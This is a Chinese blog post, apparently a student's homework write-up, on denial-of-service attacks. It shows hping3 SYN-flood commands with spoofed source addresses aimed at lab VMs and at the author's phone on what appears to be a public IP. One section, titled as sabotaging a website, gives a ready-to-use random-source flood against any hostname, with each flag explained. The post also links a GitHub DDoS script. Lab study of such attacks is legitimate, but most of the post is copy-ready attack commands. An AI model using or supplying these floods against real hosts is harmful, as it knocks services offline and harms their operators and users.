背景
前几天网安老师给我们几个留了个作业,让我们进行DoS攻击自己的虚拟机,但是想自己玩点有意思的东西,所以就在作业的基础上加了一点东西(#^.^#)(#^.^#)
具体实验
1 利用kali自带的hping3进行DoS实验
1.1 Windows 10
在kali的命令行中输入下面命令并回车
1 | hping3 -V -c 10000 -d 120 -S -A -w 64 --keep -p 80 -s 80 --flood -a 192.168.43.110 192.168.43.148 |
经过一段时间后,win10的CPU占用率为100%
1.2 Windows 7
在kali的命令行中输入下面命令并回车
1 | hping3 -V -c 10000 -d 120 -S -A -w 64 --keep -p 80 -s 80 --flood -a 192.168.43.110 192.168.43.87 |
经过一段时间后,win7的CPU占用率为100%
1.3 Windows XP
在kali的命令行中输入下面命令并回车
1 | hping3 -V -c 10000 -d 120 -S -A -w 64 --keep -p 80 -s 80 --flood -a 192.168.43.110 192.168.43.116 |
经过一段时间后,XP的CPU占用率为100%
1.4 Android
想了想,试试对自己的安卓手机进行DoS吧,应该不会有啥问题,大不了就恢复出厂设置,于是就在kali的命令行中运行下面命令
1 | hping3 -S --flood -V 117.136.66.249 |
没被攻击前,我的网络传输速率也就是46.5k/s
经过DoS一段时间后,Android的网络下载速率达到2.5M/s,拿到较高数据后就立马停止攻击了
1.5 对某个网站进行搞破坏
目标主机是任意一个主机名或者ip地址,攻击代码如下所示
1 | hping3 -S --flood -rand--source -p 80 [hostname/ip] |
命令解释如下
- -S 表示发送的是SYN包。
这里涉及到TCP的三次握手,客户端与服务器要建立连接,首先要先由客户端向发服务器发送一个SYN包请求连接,服务器收到客户端发来的SYN包后会回复一个SYN+ACK包表示可以进行连接,之后客户端再发送一个SYN+ACK包,当这个包发送完成之后,客户端和服务器的连接就算成功了。因此,这个参数导致的结果时向服务器发送SYN包却不对返回的SYN+ACK包进行回应,使服务器保持在一种”半连接”在状态 - –flood 表示以洪水的方式发送,就是拼了命地发
- -rand–source 是指定随机来源,意思是假装有很多台主机要和服务器连接,实际上这些主机IP都是伪造的
- -p 80 指定端口号为80
- [hostname/ip] 目标服务器的主机名或是IP地址
2 利用https://github.com/Ha3MrX/DDos-Attack中的脚本进行DoS攻击
下面是网络安全课堂上讲的那个在https://github.com/Ha3MrX/DDos-Attack上clone并进行攻击的例子。
利用上面的python代码攻击XP的过程及效果如下所示,win7和win10的效果类似,这里不予赘述。
在Kali中扫描XP开放的端口,此处发现135、139、445、3389端口均开放
此处我们利用ip地址192.168.43.116和端口445
经过一段时间后,XP的CPU占用率为100%
总结
有关hping3的命令介绍见我下面的这篇文章
https://xingshuaikun.gitee.io/2019/10/19/hping3%E5%91%BD%E4%BB%A4%E8%AF%A6%E8%A7%A3%EF%BC%88%E8%BD%AC%EF%BC%89/
其实从严格意义上来说,上面的内容只是DoS,并不算DDOS,很明显没有第一个D—分布式,但是,DDOS的基础就是DOS啊,当发起攻击的主机足够多时候,DOS就演变成DDOS了
本人创作此博客仅做学习交流之用,希望大家不要将其用于现实环境中,当然,也请各位大哥大姐们别滴我啊,谢谢合作……
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。